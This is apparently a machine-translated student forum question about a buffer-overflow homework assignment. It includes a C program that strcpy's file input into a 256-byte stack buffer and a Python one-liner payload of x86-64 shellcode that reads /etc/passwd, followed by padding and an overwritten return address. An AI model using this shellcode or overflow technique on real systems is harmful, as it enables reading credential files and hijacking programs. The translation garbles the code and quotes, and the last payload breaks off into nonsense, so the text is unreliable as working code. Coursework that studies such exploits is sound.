我试图通过缓冲区溢出将下面显示的文件内容注入代码中。到目前为止,这是我的进展,我很乐意帮助完成这项任务。
我到了strcpy(缓冲区,输入)的segfaulting。有人知道我可以解决这个问题吗?我问,因为除了使用gets()注入代码之外,我想不出任何其他方法。
此外,我遇到了如何更改dataFile缓冲区地址的问题,如分配中所述
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(void){
char *input = NULL;
size_t length = 0;
int size = 0;
FILE *stream;
char *dataFile = "hw11.data";
stream = fopen(dataFile, "r");
printf("before scan\n");
char buffer[256];
getline(&input, &length, stream);
printf("address: %p\n", buffer);
printf("input: \n%s\n", input);
strcpy(buffer, input);
printf("output: \n%p\n", buffer);
}
下面的Hw11.data文件
python -c'打印 “\ XEB \ X3F \ X5F \ X80 \ X77 \ X0B \ X41 \ X48 \ X31 \ XC0 \ X04 \ X02 \ X48 \ X31 \ XF6 \ X0F \ X05 \ X66 \ X81 \ XEC \ XFF \ X0F \ X48 \ x8d \ X34 \ X24 \ X48 \ X89 \ xc7 \ X48 \ X31 \ XD2 \ X66 \ XBA \ XFF \ X0F \ X48 \ X31 \ XC0 \ X0F \ X05 \ X48 \ X31 \ XFF \ X40 \ X80 \ xc7 \ X01 \ X48 \ X89 \ XC2 \ X48 \ X31 \ XC0 \ X04 \ X01 \ X0F \ X05 \ X48 \ X31 \ XC0 \ X04 \ X3C \ X0F \ X05 \ xe8 \ XBC \ XFF \ XFF \ XFF \ X2F \ X65 \ X74 \ X63 \ X2F \ X70 \ X61 \ X73 \ X73 \ X77 \ 64 \ X41" +“A”* 182 +“\ x7f \ xff \ xff \ xff \ xe0 \ x00”[:: - 1]'
这是给出的作业
对于此作业,您将编写一个加载注入的程序 我们在课堂上使用的代码。但是,您的程序必须阻止任何缓冲区 过低。规则:
- 数据文件名为hw11.data
- 您的缓冲区必须是长度为256的静态数组
- 您的代码必须显示缓冲区地址,输入数据和最终缓冲区内容。
- 您必须更改数据文件中的地址以匹配缓冲区的地址。
- 您的输出必须如下所示进行格式化(由于文本模式字符限制和内容,您的内容可能略有不同 地址变更):
醇>缓冲区地址:0x7fffffffe000
文件内容:&lt;'python -c'打印“\ xeb \ x3f \ x5f \ x80 \ x77 \ x0b \ x41 \ x48 \ x31 \ xc0 \ x04 \ x02 \ x48 \ x31 \ xf6 \ x0f \ x05 \ x66 \ x81 \ xec \ xff \ x0f \ x48 \ x8d \ x34 \ x24 \ x48 \ x89 \ xc7 \ x48 \ x31 \ xd2 \ x66 \ xba \ xff \ x0f \ x48 \ x31 \ xc0 \ x0f \ x05 \ x48 \ x31 \ xff \ x40 \ x80 \ xc7 \ x01 \ x48 \ x89 \ xc2 \ x48 \ x31 \ xc0 \ x04 \ x01 \ x0f \ x05 \ x48 \ x31 \ xc0 \ x04 \ x3c \ x0f \ x05 \ xe8 \ xbc \ xff \ xff \ xff \ x2f \ x65 \ x74 \ x63 \ x2f \ x70 \ x61 \ x73 \ x73 \ x77 \ x64 \ x41“+”A“* 182 +”\ x7f \ XFF \ XFF \ XFF \ xe0 \ X00" [:: - 1]” &GT;
缓冲内容:&lt;'python -c'打印“\ xeb \ x3f \ x5f \ x80 \ x77 \ x0b \ x41 \ x48 \ X31 \ XC0 \ X04 \ X02 \ X48 \ X31 \ XF6 \ X0F \ X05 \ X66 \ X81 \ XEC \ XFF \ X0F \ X48 \ x8d \ x34 \ x24 \ x48 \ x89 \ xc7 \ x48 \ x31 \ xd2 \ x66 \ xba \ xff \ x0f \ x48 \ x31 \ xc0 \ x0f \ x05 \ x48 \ x31 \ xff \ x40 \ x80 \ xc7 \ x01 \ x48 \ x89 \ xc2 \ x48 \ x31 \ xc0 \ x04 \ X01 \ X0F \ X05 \ X48 \ XPA ???&GT;